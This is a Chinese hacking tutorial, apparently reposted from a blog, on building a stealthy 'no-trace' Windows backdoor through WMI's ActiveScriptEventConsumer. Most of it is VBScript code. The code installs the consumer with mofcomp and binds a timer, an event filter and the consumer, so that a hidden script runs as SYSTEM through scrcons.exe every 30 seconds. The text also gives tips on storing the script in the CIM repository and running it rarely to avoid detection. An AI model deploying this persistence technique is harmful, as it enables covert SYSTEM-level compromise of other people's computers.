利用WMI打造完美三无后门(scrcons.exe)

  发布时间:2013-05-16 18:17:29   作者:佚名   我要评论

ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的JS/VBS脚本
来源:菠萝的菠萝格

Welcome!各位ScriptKid,欢迎来到脚本世界。

今天忙了一天,比较累。不废话那么多了,切入正题。

这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这 类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 CommandLineEventConsumer等等

ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的JS/VBS脚本。

先来看一下其原型:

复制代码
代码如下:

class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读
uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定义的事件消费者的名字。
string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者JScript
string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。
string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我,有我没你
};

ASEC的安装

对于XP以后的系统来说,ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的 mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器 的话,还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。

复制代码
代码如下:

Function InstallASECForWin2K ’安装ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安装ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接运行安装即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安装ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function

再来看一个绑定事件和ASEC的实例。


复制代码
代码如下:

Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名称空间
TrojanName="ScriptKids" //自定义的消费者名字,也就是你的后门的名字
TrojanRunTimer=30000 //自定义的脚本运行间隔
strtxt="" //自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库
’配置事件消费者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配置计时器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配置事件过滤器’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’绑定消费者和过滤器’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function


以上代码的含义就是当我们自定义的一个计时器事件发生时,会被我们所配置的事件过滤器捕获到,并触发与过滤器绑定的消费者,也就是我们自定义了脚本的ASEC。达到我们每隔30秒执行一次我们自定义的脚本的目的。很简单吧:)

最后要说的是,我们自定义的脚本运行时,是由系统自带的scrcons.exe作为脚本宿主进行解析,而scrcons.exe是由系统以 SYSTEM权限启动的,也就是说,我们的脚本是以SYSTEM权限执行,并且其所创建的任意进程都会继承SYSTEM权限。美中不足的就是,每当脚本执 行时,会平白多出一个scrcons.exe的系统进程。这也是这个脚本后门目前最容易被发现的一个弱点。不过,当这个脚本24小时才运行一次时,有多少 人会注意到呢?

相关文章

  • Linux 下多种编程语言的反弹 shell 方法

    这篇文章主要介绍了Linux 下多种反弹 shell 方法,需要的朋友可以参考下
    2017-09-06
  • 前端安全之XSS攻击

    这篇文章主要为大家介绍了基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击,需要的朋友可以参考下
    2017-05-20
  • SQL注入黑客防线网站实例分析

    这篇文章主要介绍了SQL注入黑客防线网站实例分析,需要的朋友可以参考下
    2017-05-19
  • ASP+PHP 标准sql注入语句(完整版)

    这里为大家分享一下sql注入的一些语句,很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学
    2017-05-19
  • 一句话木马后门在防注入中的重生

    对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,
    2017-04-29
  • XSS绕过技术 XSS插入绕过一些方式总结

    我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类
    2016-12-27
  • Python 爬虫使用动态切换ip防止封杀

    这篇文章主要介绍了Python 爬虫使用动态切换ip防止封杀的相关资料,需要的朋友可以参考下
    2016-10-08
  • 使用爬虫采集网站时,解决被封IP的几种方法

    这篇文章主要介绍了使用爬虫采集网站时,解决被封IP的几种方法的相关资料,需要的朋友可以参考下
    2016-10-08
  • 浅谈史上最大DDoS攻击的本质与防范

    DDos攻击是现在大部分用户最喜欢的一个话题,近两年来发展态势也渐趋平缓,欧洲反垃圾邮件组织Spamhaus突然遭受到高达300Gbps的大流量DDos攻击被认为是史上最大DDoS攻击,
    2016-09-20
  • 详解如何通过“鼠洞”控制电脑

    大家都知道,没有一台电脑是完全安全的,都有一个攻破点,下面小编就以实例来讲解一下,一起来看看吧
    2016-09-01

最新评论